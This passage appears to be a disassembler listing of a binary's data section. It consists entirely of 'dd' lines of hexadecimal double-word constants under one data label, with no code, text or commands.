		dd 0BF088F8h, 8D687509h, 9B521401h, 69CBE751h, 0F4A2FA70h
		dd 0E5AC385Bh, 29AF5001h, 20E44A1Ch, 6A00B58Ch,	8FEAD25Dh
		dd 72D74B2h, 0BC57AB46h, 0FC015B9Ch, 0E4F93999h, 0F48EFEBh
		dd 44770024h, 4891F196h, 3EE500EAh, 0F6CAD255h,	0D0133550h
		dd 320075BCh, 0D71E78F2h, 55E40B07h, 94000FE6h,	0A2524EE3h
		dd 0FC0105EAh, 662B92F6h, 0E0207BDDh, 33300012h, 0CFF92799h
		dd 390274F4h, 4A2A480Ah, 71ABE0EEh, 42C51E65h, 33EC405Fh
		dd 8012C367h, 9A00AA77h, 2746EBDFh, 3964FFh, 0E8845293h
		dd 30359C1Ah, 83BA900h,	0E4A88A51h, 0ADEB004Ch,	81EA3A5Eh
		dd 9D38395Dh, 1DD000E2h, 8CE6490Dh, 0FCCF18F2h,	4627F882h
		dd 60BCFF03h, 0B2CE0284h, 4E205843h, 96C40F78h,	228BA600h
		dd 12014D47h, 0CAD865D3h, 80E21D1Ch, 0B12E8986h, 0C1DA04CDh
		dd 0C08B34A7h, 66864FE8h, 0EC5D008Ch, 7AB95AACh, 3B136307h
		dd 0B84FADE0h, 0E90FE299h, 0FDD04129h, 3EDDD4h,	18227533h
		dd 6EC09391h, 8CEF6301h, 57DC97CAh, 602474h, 3EBF9694h
		dd 6C406B17h, 1DF0BFh, 622CB139h, 9CD9A072h, 6F007490h
		dd 0A4794365h, 7D495A02h, 48640F95h, 60BBF28h, 15993580h
		dd 0E757A07h, 0B7A5962Eh, 2DC64B00h, 29A0498h, 8B7E43EDh
		dd 39C04485h, 0D501B4A0h, 5997FC84h, 0BE476AA8h, 87118B50h
		dd 0ED2A009Fh, 0A73CEC35h, 0FB008EC1h, 3DB69B5Bh, 192A43Fh
		dd 2733C497h, 0C8B8A3C0h, 0FE028E35h, 26FC5036h, 99FB88D8h
		dd 90BA8C00h, 16198B63h, 4F1128A8h, 860A1C4h, 0F507356Bh
		dd 1DCCC38h, 1C7D3D4h, 0F8BCED88h, 2AB8600h, 6744D74Bh
		dd 0A687CE0Eh, 4322C11Dh, 0A1E4292Ah, 0C1F0018h, 0F6308273h
		dd 1100BDE5h, 948185ECh, 0EA0E9FAh, 86AF6914h, 812C9604h
		dd 0C02F15F0h, 7F16B1BFh, 9000720Bh, 77E32797h,	0D836006Fh
		dd 932074BDh, 7F010D3Dh, 0A3784FBAh, 0F85C5C4Eh, 36CA0239h
		dd 0E05074B5h, 5E7A4C68h, 0DB047300h, 0EEAED66Dh, 0C2509513h
		dd 0EA2B8700h, 4B70A7Ch, 75D5F6A1h, 82B0009Bh, 4D704506h
		dd 61C04091h, 59551BCCh, 5411C020h, 0BA2D3F7Ch,	0B4F7B900h
		dd 0F4867946h, 91A816A3h, 529C0A10h, 5C3101E7h,	0D5134A57h
		dd 0B6320EEh, 97008E7Dh, 3F8042B6h, 7EA1F8h, 98AEFFD5h
		dd 5404DBC6h, 6CAF1700h, 0FE7FDD0h, 862300EFh, 427D4737h
		dd 0D13D66D6h, 0A8EC274Fh, 39C7C4h, 0C96BCBF0h,	0EACC82D6h
		dd 0B4BB07CEh, 0C09D3103h, 0BA3C5119h, 68E20224h, 0A4BEC700h
		dd 73D4B87h, 0F5328914h, 5E23D70Ch, 0B3C2C300h,	0CE01C195h
		dd 475360B2h, 0CEC1B30h, 0F52EEBFh, 0BB1C63E7h,	31B6E880h
		dd 11014FE0h, 41188E09h, 0C02FF069h, 0ED460F66h, 9D145D07h
		dd 0EFB07BFAh, 0A81662h, 0CE78A465h, 9436BD7Ch,	757F2200h
		dd 431CF549h, 7B98E863h, 9F264CB1h, 0CDA55009h,	65532F80h
		dd 91CF1ADh, 0BB9D1F0Fh, 0B7AF9AC0h, 16958166h,	40D7F264h
		dd 0A541F424h, 0D900AB85h, 0F7759ED5h, 0B70B9Ah, 5DBCF034h
		dd 7A0488E7h, 8001C63Ch, 0C9545CFCh, 1DCBBF6Dh,	408A7CA9h
		dd 53BE2197h, 8B507381h, 570008EBh, 0C7E947B5h,	0E0BF59Bh
		dd 716C216Bh, 9050A427h, 1B792234h, 96B26300h, 0FC2BCAF6h
		dd 3B6B90F1h, 9D003AE9h, 3CF67A3h, 9C0028AFh, 0C82958E2h
		dd 0E2E9896Fh, 0B8731E69h, 0D5300C1h, 4772DAC0h, 0E0E3A228h
		dd 31793F00h, 0FA4C45B6h, 78C9034Bh, 777DA995h,	808B7639h
		dd 4438F9FFh, 0D1DBA1h,	41E7DF6Fh, 0D5162825h, 3AA86D00h
		dd 0D289E974h, 0B61B1C04h, 5C4480E2h, 0CFAE25BBh, 0B40EA1B8h
		dd 60989B14h, 2413F76Dh, 0EFAF0080h, 7ED22575h,	8E005471h
		dd 0F5A1BE45h, 794C6B21h, 28CC0427h, 0A02E5705h, 131DC410h
		dd 880096BFh, 82C1E169h, 20A797Bh, 2F09E4Bh, 0AA414F84h
		dd 0F6E0D41Eh, 0F91ADA00h, 0C86C61F4h, 18200012h, 0D18DA68Eh
		dd 78003C48h, 49BEBB6Dh, 4C866569h, 8000CEF8h, 19EE583h
		dd 210257F2h, 9C60248Eh, 49C807Dh, 3D9FD4h, 0B8C3630Ch
		dd 3B1D9EEBh, 0AF96CD00h, 0A3C634E4h, 8BB70175h, 0DC99F02Ch
		dd 0E97DD4A1h, 5A008DF6h, 0D9DDEEE3h, 0FF14752h, 2D5522E0h
		dd 691A2040h, 8000A19Fh, 5A258BA2h, 0AC75FBh, 0D0B18E13h
		dd 0BE66D15Eh, 0E3D2FE01h, 7FAA89B0h, 0B42AF06Bh, 1B051800h
		dd 72B8DB20h, 0F57A0006h, 466AF171h, 48035F3Ah,	3BF05A76h
		dd 9550BF52h, 50AF5459h, 3949ECCh, 807F90A5h, 0AAC8CD31h
		dd 3E00AB9Eh, 79D78BC0h, 0D9CBC4h, 950AE074h, 9713034Bh
		dd 7A8C7F1Ch, 75AA3505h, 0E4E39000h, 0EE199EF8h, 5B3E006Bh
		dd 0CC0BFA6Dh, 3400A297h, 0F8F56A4Eh, 172765h, 439443Fh
		dd 0ECC02C93h, 885C0F1h, 7E95AC00h, 5D9A38FBh, 0EAEE0071h
		dd 34C4A4C1h, 170076D0h, 8BD93B5Fh, 7AAEB1h, 6CEFD7B4h
		dd 8A8CFC30h, 4D5B1901h, 1F23D39Ah, 817FF0h, 70A20540h
		dd 0DE02A759h, 1C8E1B0Fh, 2D0602EFh, 851BBh, 7A314527h
		dd 5513F49Ch, 4807032h,	4CE2FCh, 0A1C060ACh, 0F4A61FAFh
		dd 903A2B00h, 2EA48FAAh, 7CE004Dh, 78C5B83Fh, 0EF178629h
		dd 0B48130E5h, 69C0BC79h, 0C1B0001Eh, 9B5F3F98h, 0E7162BD5h
		dd 1F02AE26h, 8E2DD75Ah, 0D9BB40E1h, 83BE81h, 0EF4FFD3Ah
		dd 46B60E42h, 2EA2DC00h, 31A6AB79h, 0BEA1002Ah,	4356E14Eh
		dd 513B0C34h, 7EAD00DFh, 0C9F5F21Fh, 17C60152h,	0F389DACFh
		dd 0CDFEE49Bh, 0EDAF3D00h, 0CA7CA72Ch, 0FD9E0903h, 5880691Ch
		dd 97720C44h, 88BC701h,	0F5056E28h, 82AFDCh, 83346680h
		dd 7AD389AAh, 18BD1512h, 6484D400h, 163B8EFh, 20F6BEEDh
		dd 0C0AC47C5h, 0CA00CD62h, 6830979Eh, 16FFA065h, 2EE7F2h
		dd 1C22169Ah, 9C020810h, 5C53AFCBh, 2DE05F6Dh, 370080A9h
		dd 145E12DAh, 0E203CC0h, 24CEDD5Dh, 0CC963520h,	7B0E3849h
		dd 0A0C775A8h, 2C2D098Dh, 0BC621DC5h, 24B68399h, 23F14352h
		dd 67F0608Bh, 6306BFE8h, 0EDDC4A0h, 1220B4D0h, 391000C2h
		dd 4EDA1D6h, 0B806200h
		dd 98C993D3h, 5DDB0171h, 0CD97DF0Ch, 138CE0EDh,	0F4610A00h
		dd 0F89AD2Dh, 879F04C5h, 0A0C7A47Ah, 6890F720h,	0E9D9DA00h
		dd 0AF0B2F7Eh, 95D50762h, 0D0196FCCh, 4EF654ABh, 596C3500h
		dd 0DF960577h, 485E0089h, 0E641FD4Ah, 0EC001743h, 646E62FAh
		dd 0A9A0E7h, 363A0926h,	6173043Bh, 24C25F07h, 0B430E6BFh
		dd 1973028h, 1AA83376h,	6E2FA1FFh, 60DE3DA1h, 0B30435h
		dd 5CA62B93h, 9E46138Dh, 0FCD12000h, 0DEF1F76h,	3DCB045Dh
		dd 0C091BA03h, 62C27502h, 217D6DB8h, 0E5411A00h, 7CF6339h
		dd 34DF39B9h, 0CDE73F01h, 201D2C2Bh, 8100FE8Dh,	20D45572h
		dd 568E8A3h, 97DA27D2h,	8D9C0002h, 7A11750Fh, 4BD1B600h
		dd 32BF7C39h, 64270F9Fh, 0B960EE40h, 61F51491h,	3DEC3Eh
		dd 0D6C168B5h, 1944970h, 2A1C337Ch, 70F28FD4h, 21078A9Dh
		dd 5B9C98EAh, 3EBAB420h, 0A12F0045h, 1265FFC0h,	10004180h
		dd 93BD715Ah, 9A290B11h, 98C77164h, 0B11B00A2h,	0E79FD140h
		dd 0B82D074Eh, 685C003Bh, 0E636E419h, 0E39B00F8h, 0B179A925h
		dd 0FFF0F9D4h, 0B585DCEBh, 21C7D100h, 0D37458DEh, 892D2DEAh
		dd 0F3005D76h, 0B061D038h, 0B98D1F9Fh, 3382C0C5h, 0D1DE2095h
		dd 1BE09A00h, 0E3AC46D2h, 0D72A00E1h, 0F4069EC1h, 450BB28Eh
		dd 36E65Dh, 0AB2990C0h,	3BF900CDh, 0FE5E4EF5h, 7900F71Ah
		dd 7E3FF41Fh, 797C749Fh, 0B4E605h, 92888C2Dh, 4FFEC08Ah
		dd 54FD1300h, 5DCC89E1h, 0A5610053h, 92E680E4h,	0AD7B2A14h
		dd 49F46F00h, 88EE4611h, 3BA43C05h, 3F6739A6h, 75852687h
		dd 2308C1C3h, 1AB17016h, 0D6B6C80Eh, 0D72BC0A7h, 60D9816Fh
		dd 0A59524Fh, 0E0F0F739h, 0B828CE26h, 2F80891Ch, 6D1BF2FBh
		dd 10EB813h, 2840DD9Fh,	700A0396h, 0C63E8ADAh, 159980BDh
		dd 512CC437h, 4A577817h, 0F2709021h, 9C000C71h,	53021B3Ch
		dd 1CEEE109h, 53CDDA3Bh, 79E800C2h, 55B2C154h, 915EC407h
		dd 0BE706EC3h, 3E5C76Ah, 0BC5704ECh, 0F88851DCh, 0B500D396h
		dd 2B1B079Bh, 66783Dh, 43763E93h, 0E9884F69h, 0DF00DAFAh
		dd 20ECB4B3h, 7D5074CAh, 0F0B482h, 8B2E60E6h, 81F2050Dh
		dd 6926AB00h, 6AA004FCh, 0CF0100DFh, 23BBC8A2h,	657943E0h
		dd 0BDAFFD00h, 0E1DC6F2Ah, 4B931E47h, 0A69780C8h, 0E09D9A2Eh
		dd 1FF23400h, 55D7114Fh, 49960056h, 0CA02C5D6h,	18F48B91h
		dd 35A17707h, 0E6D190E8h, 24D47358h, 0F53E00BEh, 0D192B745h
		dd 0BC13C2EEh, 1F002A61h, 0A56E0806h, 17880094h, 0C5F08010h
		dd 0A900DB55h, 0A653C695h, 4E01275h, 4206C398h,	0A19CB0DDh
		dd 45EF1D0Eh, 0FF2E606Eh, 70158AE5h, 0D92100A4h, 42F332A7h
		dd 800FCD4h, 0CCF1EA81h, 0E347F86h, 50DCCB91h, 9D9314A0h
		dd 3A024AE2h, 17668BE5h, 785E5Ah, 268CA14Fh, 5E04C9FCh
		dd 57BE625Dh, 7802480h,	141300F6h, 0C724F156h, 23000FF3h
		dd 8AD647ABh, 0E83F2A97h, 0C053F443h, 98627711h, 0CF16FCB1h
		dd 0AE00A2D1h, 1F538426h, 0D0FA00BCh, 2568389Ch, 0E2EA1C9Ah
		dd 0D2604901h, 50303A2Eh, 7A47DC4h, 0B4FD1B59h,	20BA0FAh
		dd 1400039Eh, 8B6B8E48h, 9782128h, 8C572C5Ch, 0BF6841h
		dd 208DCh, 0B6D867A2h, 58BC9C3Dh, 79A51200h, 0B82ECFF3h
		dd 19E003E3h, 0BF0A9157h, 0A2DCC1D5h, 16DC40D0h, 0EC00379Fh
		dd 91B6087h, 0B8A7A8h, 625749DCh, 4B7B9D90h, 0BBFE0B00h
		dd 0F9E83031h, 7DE0011h, 275C3F78h, 213C065Dh, 3308848Dh
		dd 80C07CC2h, 1631E32Ch, 0DA601EF2h, 0F12E0670h, 1B6B1CAh
		dd 0A2851E32h, 30FCDD74h, 15052208h, 31F0BD11h,	518CD00h
		dd 8A4712h, 66F555A9h, 22BC5B7Ah, 1F5E5000h, 0DC709874h
		dd 0C5313EE8h, 75633481h, 30364FBFh, 3E00C3F4h,	0F1180D0Eh
		dd 0BBDE8h, 47059123h, 55B87B9Fh, 1A073075h, 0BD22E0D1h
		dd 21F6F180h, 189207E4h, 60C2444Fh, 99022F34h, 20002E90h
		dd 0C6E864E7h, 0D37F70h, 78089247h, 1E6F6628h, 26B4D4A0h
		dd 0E03D0B00h, 0AEC065B7h, 38063B23h, 8B630200h, 3B016F0Ah
		dd 13AC440Bh, 0C5E080E1h, 78B771DCh, 5B4E0026h,	874C3C9h
		dd 210FA74Fh, 0C1632889h, 7920D0B5h, 0DFF0506Dh, 8D0007CDh
		dd 270DEA4Bh, 17E35995h, 80A95C38h, 1EFF6E44h, 4BF78F1Dh
		dd 2245017Dh, 0C58ABD01h, 0CA85EE4h, 80537FC7h,	12000FBEh
		dd 2B88C98Bh, 0B0B05FE6h, 2C7E3EC2h, 6C74C800h,	0E5672648h
		dd 66A04500h, 0A2DB9BDAh, 0FF1E1C2Eh, 374607C5h, 800334E9h
		dd 0B0699F0Fh, 727CE000h, 0A59066B2h, 6ABC07AAh, 0F3257314h
		dd 1B8BB8A8h, 8BADA3D8h, 9D339703h, 0B05924A7h,	0F01373F2h
		dd 36A5011Ah, 66BAE198h, 4588CCC8h, 44A8DB02h, 684DB0DCh
		dd 9E810230h, 0C83980B4h, 0DAE0A7CDh, 97406700h, 961B2B61h
		dd 4B803EE8h, 1FF0EC78h, 40DA7FF7h, 736D90CEh, 0B3754C18h
		dd 6C225400h, 6638C730h, 1A580031h, 529D0496h, 6B701F1Ch
		dd 8C76060Eh, 9BCF60A9h, 3FBDB25h, 2B71C33Ah, 3E3E77F4h
		dd 69239E06h, 0AE0B7041h, 0C8F34BE4h, 0EA21662h, 751B67ECh
		dd 0CC87AB60h, 0BA014751h, 0AA828F6h, 3DC4FA48h, 0FCAAEAEEh
		dd 0BECC02C5h, 0C0731266h, 0CDACC848h, 8B0C2E01h, 0D1D07101h
		dd 5D08032Ah, 8F8843ECh, 5F4ED86h, 0C6561A00h, 156027BBh
		dd 2FF64Ch, 4EEC47D6h, 0AF08B150h, 0BD8FE500h, 0DF8C7187h
		dd 0A41C009Eh, 2856119h, 380AA820h, 9E2DB09Bh, 0BC4F6C0Ah
		dd 0D080D390h, 134C50CCh, 8F58213Eh, 0FCB6C76Fh, 0AFBA3180h
		dd 4BC39998h, 537C4F44h, 687524h, 915D0BDFh, 0AF2F00BAh
		dd 49D9D552h, 0C900F792h, 0B40ED26Ch, 7BD2304h,	5F69E2AEh
		dd 528ED1EEh, 4389BD83h, 0D01713Ah, 5FDC7851h, 9420EC30h
		dd 57BF8D01h, 0EDF1C83h, 0E56C20h, 0E15D56B2h, 0B76BDC8Eh
		dd 52B59F1Dh, 55C9BE40h, 0CF15BDDh, 640C8214h, 73007569h
		dd 91D22D44h, 15DD869h,	0CE81060h, 0C8F4DAECh, 7901E561h
		dd 49BDB03h, 60F23CABh,	4E92B69Ch, 0F0F4C093h, 79054CE7h
		dd 0E6C1C20h, 0E0D954B0h, 187700B2h, 0FE4B8B46h, 780A89D8h
		dd 8D40E056h, 680931Fh,	4B9684E3h, 19F200CDh, 8F0497EEh
		dd 67001B4Dh, 5ECC2C6Bh, 1D845305h, 80C0F0D4h, 0E3920C1Ch
		dd 0F000814h, 8AE717AFh, 0E22CA3D1h, 25181E7Dh,	0A1BF00DEh
		dd 36C560DBh, 5DFAF200h, 0CD870D7Ah, 9B89A08h, 268DB0FCh
		dd 2A70C000h, 0B71E79D7h, 5B056EB8h, 0C088E3C1h, 6CE000A2h
		dd 0C7EDB3F9h, 8035942h, 487F0C27h, 0C480888Bh,	0D487005Bh
		dd 6EACDE26h, 8E001238h, 9FE24801h, 77294367h, 0C7D900C9h
		dd 7325E9ECh, 4561C0E7h, 81FCCD11h, 2055E440h, 0AFE009Eh
		dd 8DA44F7Ch, 0B43B84E2h, 0E55180C5h, 7267A99Dh, 42DF0017h
		dd 4CFFAC94h, 29000F76h, 0C251BDEEh, 0E1CE53h, 0F39FDDC3h
		dd 72E2A19h, 30B1D800h,	54891544h, 917C0Dh, 0C01A2865h
		dd 475BC121h, 0D3F63502h, 0E04957D2h, 7C7EF014h, 0DBA6396Ch
		dd 4A8F8B39h, 17205E7Dh, 0E680903Eh, 5381C303h,	8085076Dh
		dd 0EEA428D6h, 24540413h, 80323E5Ah, 0BF65CD0Bh, 0FEAB0302h
		dd 0D57D60F6h, 0E2C59780h, 0DC018D9Bh, 91EEAE19h, 0E0EBC0C9h
		dd 68E6Bh, 0D44D1D69h, 8AD9E4B3h, 760A6002h, 60C0FD45h
		dd 0EA712B55h, 0D0FF0036h, 0F2851715h, 9A00DDA2h, 126E6A21h
		dd 1DA4957Eh, 0C03482B2h, 23FA5685h, 0F1776446h, 2CEB9200h
		dd 9E88B80Dh, 0C6900359h
dword_592A7C	dd 4FA4CD61h, 0DF6C03E0h, 11D8A800h, 4A38F084h,	0F1D70083h
		dd 6FF95A16h, 0FA00B624h, 2C4EAC59h, 13910E8Ch,	806B8947h
		dd 0FC5B2F90h, 858E5F38h, 489DAD2Ch, 0C7B4F0h, 15037654h
		dd 0A4B52A07h, 78007971h, 0A5B33EF3h, 92B41Eh, 1A63D606h
		dd 3967882Eh, 74595Ch, 0D39FED7Ch, 3E11C2B2h, 8D03CBB3h
		dd 0F782151Fh, 0C05EBAC1h, 4A004B38h, 40F53137h, 8C0EC1h
		dd 0E92B3049h, 23104634h, 1E0BC400h, 6B1A41A9h,	3B812D2h
		dd 5960009Eh, 535CB714h, 1342A500h, 79EB5566h, 0AF7307E1h
		dd 331587E2h, 53E0CF22h, 7A004F12h, 403971B4h, 2F86DC8h
		dd 0D24E1FF0h, 14C0BF42h, 0C117D475h, 0CC009C62h, 0BD0EC080h
		dd 926D03C5h, 0DFFC299Ah, 969547F8h, 7B736001h,	0F9C4153Ch
		dd 1E524C8h, 34B81AF3h,	0C533C877h, 7F01C49Bh, 72CBD900h
		dd 40FB43AEh, 0D50901E5h, 0EA86B25Ch, 6F5FE015h, 9BB70F00h
		dd 3D3A0765h, 8AAE0023h, 0D397BD4Fh, 0A60E370Ch, 6569D620h
		dd 0F401E5CBh, 669B8D8Bh, 5DABD8DFh, 7EB3272Eh,	0CB1FF870h
		dd 688EACD8h, 0DB93C1E4h, 43E4F877h, 7BA00023h,	0FB63A6EEh
		dd 0B100678Ch, 2080332Fh, 0EAC9637h, 0BDD4FFADh, 0F64B13E0h
		dd 500E0B6h, 85CA090Dh,	4881CFh, 5BCC2896h, 0A6E43710h
		dd 0F2E0D307h, 6F70AA78h, 622FFFh, 20D782B7h, 488FBBC0h
		dd 2D353C00h, 6FAC5D96h, 7E870E12h, 26C00CC1h, 61470149h
		dd 70AF8900h, 3B817196h, 0FB1700AAh, 0E4BDEB72h, 0B31E8376h
		dd 97401441h, 0F30401Dh, 0AB4700B4h, 100B4FE2h,	1A002B73h
		dd 7E7A440Dh, 280EA4h, 9C3EA074h, 29D469DEh, 45D31300h
		dd 4A58B286h, 0C74E0099h, 0EB3F9B76h, 2500013Eh, 0CC9E4F5Ah
		dd 3933C286h, 55008F71h, 7DE278D1h, 53052032h, 84E1A2D6h
		dd 0E9D5DE80h, 0BE05002Fh, 85BF500Ah, 230087C6h, 0EE62E6DCh
		dd 0D6A5D8h, 1119232h, 8F61101Fh, 557C701h, 0D9603B16h
		dd 0BFF81CFBh, 7D441F0Dh, 0B0D14583h, 6FA09C25h, 5006255h
		dd 6B1C48CAh, 0BBB8FAh,	0AC2712F8h, 90AE28E8h, 11034576h
		dd 4B1D7339h, 5BB0F785h, 0B42654h, 0A18DC03Bh, 0ADE08B17h
		dd 0F4A40301h, 2AD78A91h, 24AF1BE0h, 32A38Ch, 35B79FBEh
		dd 6F00514Dh, 8801BBB9h, 0A37B8Eh, 0AA3D4438h, 1F35C2CBh
		dd 0BBD9500h, 55B7E120h, 0B8130032h, 2E310EBCh,	0AB01B963h
		dd 45FB7807h, 22E072E7h, 75DF0088h, 691F37C6h, 740002C9h
		dd 0A1A091DEh, 0B8F68C64h, 72F100E0h, 6511438h,	42DE818Fh
		dd 0CD9BD501h, 75201A76h, 2FB20EB6h, 2A7E0B7h, 718350F4h
		dd 410181CCh, 0A29B7D37h, 30F8581Ch, 3ADC009Dh,	9634E1ECh
		dd 0B000A577h, 87748B4Eh, 1080E43h, 8DA10D7Fh, 70077BF3h
		dd 0CD00EE7Fh, 59DACAA6h, 0D6C0F1h, 32D1C4A1h, 0BA70ADBFh
		dd 8F804091h, 0EB94C102h, 84F014Dh, 15B3B955h, 8AE5CC1Bh
		dd 0FC506100h, 0AA7AD79Ch, 289B004Ah, 0EBD0E4B1h, 0DE0119DDh
		dd 4CC76EFAh, 0AECE794h, 0A19B00B4h, 0C9182061h, 9E00E46Ah
		dd 0AD4981EAh, 0EB0A79h, 0FC7DB57Eh, 5BC6D5DBh,	4687E600h
		dd 0A4AE9375h, 1CB800AFh, 92088D57h, 0FE01C4DBh, 662F0CFAh
		dd 59FC9C36h, 62090251h, 6AF30B6Fh, 13239D00h, 0EF0D3FABh
		dd 1EB77281h, 0CCAD08C0h, 0C7078AA9h, 0D920F0C9h, 4A703B17h
		dd 0B7890Ch, 0AB23863Dh, 0F89CF687h, 22FD4F00h,	0A4593F75h
		dd 85BF5C43h, 46DD1E7Ch, 0FEBB003Bh, 48E4F96Dh,	29739130h
		dd 0EDA450Bh, 71E0108Eh, 4894C520h, 700BE93h, 1BD76001h
		dd 0F920DE4h, 0EF4AB8C2h, 0DC7FF180h, 0E001C779h, 0BFA97B8Ch
		dd 39301A0Eh, 2B1300D3h, 0D4B49C06h, 100074C9h,	0AA82DFA5h
		dd 2D47FBh, 0E091A6Fh, 4B25ECBBh, 0D400FD78h, 0B062DA6Bh
		dd 31BA699h, 2774891Dh,	20F096A0h, 0E3000BADh, 37990208h
		dd 0D03483h, 0B86657ABh, 0B9F03F69h, 0A786CD12h, 45E8F400h
		dd 6ECE65h, 416031B5h, 2A26A5FDh, 11008790h, 0C9E0771h
		dd 2C6FFA99h, 2C12DEh, 86A45697h, 141301D3h, 1000153Eh
		dd 938F8778h, 58600B02h, 883CC53h, 5FC1AA40h, 89F8C7D4h
		dd 0EA00D16Dh, 5BDF74EFh, 3C56E9BEh, 0DB03F103h, 49F629E8h
		dd 1C28780h, 588DDE00h,	33390461h, 50E812h, 6283714Bh
		dd 0EC46522Dh, 7A659800h, 993234B6h, 0B77F166Fh, 72700A1h
		dd 0EE90F5Ah, 0B008492h, 50105DF9h, 5244486h, 0EEF41A84h
		dd 73F18032h, 0C031B58h, 947DEB1Eh, 6A13D03Eh, 676E00F9h
		dd 1BE13D93h, 0E9389708h, 0CF8012B7h, 2402C51Fh, 601E757Dh
		dd 0F3ACD5Fh, 0A9F50401h, 0BD856F60h, 47007084h, 4C281E9Fh
		dd 756352h, 0F1899B3Ch,	1077E333h, 8847AF17h, 0C9AE5902h
		dd 6D82C0C1h, 78F25CC6h, 90B01628h, 2EF30061h, 0FF6ACD78h
		dd 2900985Bh, 79334EBCh, 5694ADh, 484DC9D0h, 501A27E9h
		dd 0EE01C2EAh, 9FF370E6h, 0AAEFF668h, 322140D1h, 0B65A3D52h
		dd 0B0F0818Eh, 1E1070C0h, 0A50154E4h, 0AFA0BD12h, 727093AAh
		dd 0DB790F9Fh, 51A01FC9h, 9DD34DA5h, 2E568601h,	4A10E247h
		dd 0B1EEF0h, 0EB64C677h, 79A8CB34h, 0A9689300h,	0DF63999Ah
		dd 0D4E00021h, 0A6960AE1h, 5009D9C5h, 0C0985AADh, 2FFE3E0h
		dd 0DE71AEF5h, 0CA63F977h, 1F8184D0h, 54C8C400h, 3A7BF217h
		dd 9F511E50h, 2575CE71h, 8809A5h, 8D438CB1h, 0DE00DAC8h
		dd 0B33D276Ch, 6DC3D9h,	0D39B0FC7h, 0F4EECF2Fh,	0CE492007h
		dd 70B077DFh, 3083DDA2h, 0F0D8B169h, 2700EE7Ah,	0C2D557AFh
		dd 1CDA20FEh, 0E3D1DCh,	8CC36E47h, 0D7048E48h, 0BE9765C9h
		dd 0DB62BCC0h, 33CC0080h, 0CBBB0458h, 65032ED4h, 2C5FFF30h
		dd 0DA2DC8B8h, 3C8A0787h, 3060756Eh, 4D40964Ch,	740171F0h
		dd 459405BAh, 0A170EB67h, 0D8ED00ECh, 968DDFE6h, 84268FDDh
		dd 4A804C8Bh, 0D60D2852h, 0CB7000F9h, 1427262Bh, 0BA0E1BCEh
		dd 20C868CDh, 35C978C4h, 9EC30163h, 59C17346h, 0D415FCD5h
		dd 0D6383C1Dh, 79426C9Dh, 0E09266A2h, 0C3D1E4h,	0AE98B186h
		dd 305063D6h, 5AB76A01h, 174EA553h, 81F2E0h, 0EB26F722h
		dd 0BA19C67h, 0B6C14600h, 0A5418C56h, 0A9F4A2h,	0CA764A48h
		dd 4BBE142Fh, 0BEFA000h, 73889B60h, 0F51F0AD2h,	9FEC83h
		dd 0D826826Eh, 86C01586h, 88B7F371h, 0F87A0C46h, 58288493h
		dd 0B5805500h, 30DA5115h, 7C080052h, 92D70610h,	0C8009736h
		dd 0CB5B0132h, 73207DF0h, 5CAF0F40h, 0BAD8252Ch, 0F9A02806h
		dd 93098288h, 54E17D98h, 4B0025Ah, 3CC08927h, 0C10355ADh
		dd 0CD5C946h, 0CD2BD05Dh, 0DDB200C7h, 0F00ABC63h, 94EEC2EFh
		dd 0DF59CF00h, 4153EB6Ah, 0A42707E8h, 70BBB435h, 831E49Ch
		dd 5C04000h, 29E34E8Fh,	4B3E5C1Ch, 55AF4600h, 90F10223h
		dd 0A0009571h, 4A473D03h, 90BBCDF0h, 3C960F30h,	980F542h
		dd 72A2D412h, 2F42103h,	0C19C9573h, 99F35346h, 0C5F34F47h
		dd 0A41708D0h, 0E7972A3h, 0BB726CDBh, 0FE2809Ch, 213BA097h
		dd 7044EF05h, 0F5C080F0h, 52D8B39h, 0E33E02CCh,	408440F4h
		dd 352EEC89h, 0A3449E03h, 0A0F817D4h, 0DAF271h,	0BB6374B1h
		dd 69026536h, 0B4953Fh,	0AF344DA6h, 68CB10h, 5A4EF22Eh
		dd 0D94759E9h, 989A6E00h, 0F0BC0896h, 7EB60F75h, 90002F24h
		dd 0F9D5740Ch, 0E3D42B05h, 0ED87B7C5h, 0A37063D0h, 0CB6A008Ch
		dd 0BA35EF43h, 0FC00CDC0h, 917447EDh, 724D8C9h,	201D9305h
		dd 0B5969067h, 0A207AD68h
		dd 940C1CB9h, 2CC1406Eh, 24B11Fh, 0FF1434DEh, 85B43B9Eh
		dd 1050BDh, 0AAD83A56h,	22265284h, 0E924D401h, 46D27DB0h
		dd 4BDDABE1h, 2E9612E0h, 805448CFh, 554ED0ADh, 0E30672B7h
		dd 0E2EBA4DAh, 21886108h, 405546B0h, 252BA7F1h,	458BC648h
		dd 0B330D8F0h, 0B04C9405h, 0E0400693h, 2742FBFAh, 953B00EDh
		dd 0E57C610Bh, 50072A1Dh, 0F18DAE2Fh, 380C4B67h, 91304188h
		dd 44806598h, 5372BDE8h, 0CC22DB43h, 553CAA00h,	9F369B54h
		dd 2CB30017h, 69E8D0A9h, 9230CDB7h, 0A5B1A9FDh,	9764006Bh
		dd 899347C3h, 9F00A3DCh, 0AE27A929h, 7B2CAF3Eh,	19220099h
		dd 2B0441CEh, 98A1E7FBh, 7D718970h, 450D037Eh, 5EE19809h
		dd 46A8A4F6h, 0E845028Ah, 912B72B2h, 3F10845Ch,	2714553Dh
		dd 81A48B01h, 4EF7246h,	0D37D7100h, 944FB16h, 0E8032E06h
		dd 88011E68h, 0A0307015h, 35079176h, 0F90436BFh, 1FFE3AB0h
		dd 254438FCh, 1ED34100h, 8BD2923Ch, 0DE7EB90Fh,	436E6050h
		dd 1748DCC5h, 8CFAF7h, 32DBD289h, 2D00D76Ch, 0F8B8C9F9h
		dd 1DA5F755h, 3AC6150h,	0B44E31CBh, 4857CDA0h, 699DAD01h
		dd 55B9A4E2h, 0DC0410A1h, 3E4BF83Fh, 0D3EACh, 0DB58EF38h
		dd 0C59DAFh, 5935DFD8h,	0E9F8B4FEh, 4E814C03h, 2137B70Fh
		dd 223EC329h, 0F608F15Eh, 44C73E44h, 11E7EC82h,	63114D71h
		dd 831B113Fh, 0FBD19F00h, 72194F00h, 4E07A791h,	34C9010Ah
		dd 10D82485h, 6D5EC801h, 0F23DBF00h, 58CA71EAh,	0E80A00D3h
		dd 0B67DE6F1h, 4F1DD251h, 3F87FBh, 4BF92166h, 0F1782Bh
		dd 0DDE4F0F5h, 0A53E4ABFh, 85A85C00h, 20798D2h,	619200BBh
		dd 7FE37C95h, 3A00DFFEh, 0F74DAA25h, 453070h, 9418B5A9h
		dd 25412EEh, 4A7B09B0h,	8074953Bh, 0FAA5DD93h, 1D7521h
		dd 86CFBE10h, 0A056F90Dh, 0F609CE00h, 8FCAEC35h, 6EAC0703h
